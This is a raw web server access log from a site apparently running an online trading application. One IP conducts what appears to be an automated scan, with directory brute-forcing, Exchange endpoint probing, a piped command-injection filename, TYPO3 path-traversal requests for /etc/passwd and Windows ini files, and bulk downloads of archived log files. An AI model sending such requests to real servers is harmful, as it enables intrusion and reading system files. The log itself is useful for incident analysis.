[09/Jan/2026:10:48:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.nl HTTP/1.1" 196
[09/Jan/2026:10:48:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240911 HTTP/1.1" 4501461
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.exe|dir HTTP/1.1" 199
[09/Jan/2026:10:48:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240912 HTTP/1.1" 4501665
[09/Jan/2026:10:48:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240913 HTTP/1.1" 4575233
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.VALIDATE_STMT HTTP/1.1" 196
[09/Jan/2026:10:48:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:48:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240918 HTTP/1.1" 407887
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.php3+ HTTP/1.1" 196
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.cmd HTTP/1.1" 196
[09/Jan/2026:10:48:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.txt HTTP/1.1" 196
[09/Jan/2026:10:48:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.SSIFilter HTTP/1.1" 196
[09/Jan/2026:10:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927178243 HTTP/1.1" -
[09/Jan/2026:10:48:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.notes HTTP/1.1" 196
[09/Jan/2026:10:48:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240909 HTTP/1.1" 4078805
[09/Jan/2026:10:48:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p71l3ryu.org HTTP/1.1" 196
[09/Jan/2026:10:48:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240921 HTTP/1.1" 28800
[09/Jan/2026:10:48:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240922 HTTP/1.1" 60145
[09/Jan/2026:10:48:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php? HTTP/1.1" 196
[09/Jan/2026:10:48:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240910 HTTP/1.1" 5851531
[09/Jan/2026:10:48:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi.cgi/ HTTP/1.1" 196
[09/Jan/2026:10:48:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webcgi/ HTTP/1.1" 196
[09/Jan/2026:10:48:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240904 HTTP/1.1" 4905046
[09/Jan/2026:10:48:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927177437 HTTP/1.1" -
[09/Jan/2026:10:48:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-914/ HTTP/1.1" 196
[09/Jan/2026:10:48:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-915/ HTTP/1.1" 196
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240919 HTTP/1.1" 6207506
[09/Jan/2026:10:48:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ HTTP/1.1" 7805
[09/Jan/2026:10:48:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi/ HTTP/1.1" 196
[09/Jan/2026:10:48:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mpcgi/ HTTP/1.1" 196
[09/Jan/2026:10:48:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927193227 HTTP/1.1" -
[09/Jan/2026:10:48:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ HTTP/1.1" 199
[09/Jan/2026:10:48:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ows-bin/ HTTP/1.1" 196
[09/Jan/2026:10:48:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-sys/ HTTP/1.1" 196
[09/Jan/2026:10:48:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-local/ HTTP/1.1" 196
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240917 HTTP/1.1" 4936321
[09/Jan/2026:10:48:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240928 HTTP/1.1" 58107
[09/Jan/2026:10:48:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htbin/ HTTP/1.1" 196
[09/Jan/2026:10:48:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240929 HTTP/1.1" 278232
[09/Jan/2026:10:48:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgibin/ HTTP/1.1" 196
[09/Jan/2026:10:48:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgis/ HTTP/1.1" 196
[09/Jan/2026:10:48:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240920 HTTP/1.1" 7354043
[09/Jan/2026:10:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927183600 HTTP/1.1" -
[09/Jan/2026:10:48:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/ HTTP/1.1" 196
[09/Jan/2026:10:48:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-win/ HTTP/1.1" 196
[09/Jan/2026:10:48:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fcgi-bin/ HTTP/1.1" 196
[09/Jan/2026:10:48:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-exe/ HTTP/1.1" 196
[09/Jan/2026:10:48:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241001 HTTP/1.1" 149394
[09/Jan/2026:10:48:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927182518 HTTP/1.1" -
[09/Jan/2026:10:48:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-home/ HTTP/1.1" 196
[09/Jan/2026:10:48:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-perl/ HTTP/1.1" 196
[09/Jan/2026:10:48:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scgi-bin/ HTTP/1.1" 196
[09/Jan/2026:10:48:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin-sdb/ HTTP/1.1" 196
[09/Jan/2026:10:48:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-mod/ HTTP/1.1" 196
[09/Jan/2026:10:48:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240924 HTTP/1.1" 5358737
[09/Jan/2026:10:48:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:48:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clientaccesspolicy.xml HTTP/1.1" 196
[09/Jan/2026:10:48:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927199236 HTTP/1.1" -
[09/Jan/2026:10:48:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crossdomain.xml HTTP/1.1" 196
[09/Jan/2026:10:48:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240916 HTTP/1.1" 5500027
[09/Jan/2026:10:48:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:48:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240926 HTTP/1.1" 9023183
[09/Jan/2026:10:48:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 391
[09/Jan/2026:10:48:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /~bin HTTP/1.1" 196
[09/Jan/2026:10:48:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:48:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:48:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927188895 HTTP/1.1" -
[09/Jan/2026:10:48:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241005 HTTP/1.1" 167442
[09/Jan/2026:10:48:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:48:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240923 HTTP/1.1" 5537453
[09/Jan/2026:10:48:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241006 HTTP/1.1" 214240
[09/Jan/2026:10:48:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:48:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts%00 HTTP/1.1" 196
[09/Jan/2026:10:48:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/HASH(0xffffa2507018)%00 HTTP/1.1" 196
[09/Jan/2026:10:48:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927187680 HTTP/1.1" -
[09/Jan/2026:10:48:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /domcfg.nsf HTTP/1.1" 196
[09/Jan/2026:10:48:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.nsf HTTP/1.1" 196
[09/Jan/2026:10:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:48:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:48:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:48:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin4.nsf HTTP/1.1" 196
[09/Jan/2026:10:48:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240925 HTTP/1.1" 7155074
[09/Jan/2026:10:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:48:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:48:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:48:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_cookies.h HTTP/1.1" 5107
[09/Jan/2026:10:48:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_ebcdic.h HTTP/1.1" 2844
[09/Jan/2026:10:48:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin5.nsf HTTP/1.1" 196
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_fcgi.h HTTP/1.1" 10264
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_filter.h HTTP/1.1" 27098
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_ldap.h HTTP/1.1" 18772
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin.nsf HTTP/1.1" 196
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_md5.h HTTP/1.1" 2239
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_mutex.h HTTP/1.1" 9515
[09/Jan/2026:10:48:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240930 HTTP/1.1" 7975924
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_script.h HTTP/1.1" 10095
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nonexistent.nsf HTTP/1.1" 196
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_time.h HTTP/1.1" 4318
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_varbuf.h HTTP/1.1" 8483
[09/Jan/2026:10:48:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927204435 HTTP/1.1" -
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/util_xml.h HTTP/1.1" 1392
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/zconf.h HTTP/1.1" 17043
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/zlib.h HTTP/1.1" 98767
[09/Jan/2026:10:48:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:48:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicons/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:48:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.gif HTTP/1.1" 196
[09/Jan/2026:10:48:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicons/favicon.gif HTTP/1.1" 196
[09/Jan/2026:10:48:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.png HTTP/1.1" 196
[09/Jan/2026:10:48:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicons/favicon.png HTTP/1.1" 196
[09/Jan/2026:10:48:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927194210 HTTP/1.1" -
[09/Jan/2026:10:48:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:48:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:48:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /junk999.asp HTTP/1.1" 196
[09/Jan/2026:10:48:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.aspx HTTP/1.1" 196
[09/Jan/2026:10:48:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /junk988.aspx HTTP/1.1" 196
[09/Jan/2026:10:48:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927192889 HTTP/1.1" -
[09/Jan/2026:10:48:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.asp HTTP/1.1" 196
[09/Jan/2026:10:48:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.aspx HTTP/1.1" 196
[09/Jan/2026:10:48:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 226
[09/Jan/2026:10:48:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images HTTP/1.0" 226
[09/Jan/2026:10:48:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Autodiscover/Autodiscover.xml HTTP/1.0" 226
[09/Jan/2026:10:48:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927209497 HTTP/1.1" -
[09/Jan/2026:10:48:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Autodiscover/ HTTP/1.0" 226
[09/Jan/2026:10:48:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241002 HTTP/1.1" 11196072
[09/Jan/2026:10:48:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Microsoft-Server-ActiveSync HTTP/1.0" 226
[09/Jan/2026:10:48:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20240927 HTTP/1.1" 11451240
[09/Jan/2026:10:48:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Microsoft-Server-ActiveSync/default.css HTTP/1.0" 226
[09/Jan/2026:10:48:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ECP HTTP/1.0" 226
[09/Jan/2026:10:48:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EWS HTTP/1.0" 226
[09/Jan/2026:10:48:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EWS/Exchange.asmx HTTP/1.0" 226
[09/Jan/2026:10:48:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Exchange HTTP/1.0" 226
[09/Jan/2026:10:48:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:48:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OWA HTTP/1.0" 226
[09/Jan/2026:10:48:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:48:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927199366 HTTP/1.1" -
[09/Jan/2026:10:48:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Microsoft-Server-ActiveSync/default.eas HTTP/1.0" 226
[09/Jan/2026:10:48:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Rpc HTTP/1.0" 226
[09/Jan/2026:10:48:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EWS/Services.wsdl HTTP/1.0" 226
[09/Jan/2026:10:48:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241004 HTTP/1.1" 10764330
[09/Jan/2026:10:48:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ecp HTTP/1.0" 226
[09/Jan/2026:10:48:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OAB HTTP/1.0" 226
[09/Jan/2026:10:48:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241003 HTTP/1.1" 11782781
[09/Jan/2026:10:48:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aspnet_client HTTP/1.0" 226
[09/Jan/2026:10:48:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PowerShell HTTP/1.0" 226
[09/Jan/2026:10:48:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927198057 HTTP/1.1" -
[09/Jan/2026:10:48:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET . HTTP/1.0" 226
[09/Jan/2026:10:48:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241008 HTTP/1.1" 13891528
[09/Jan/2026:10:48:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
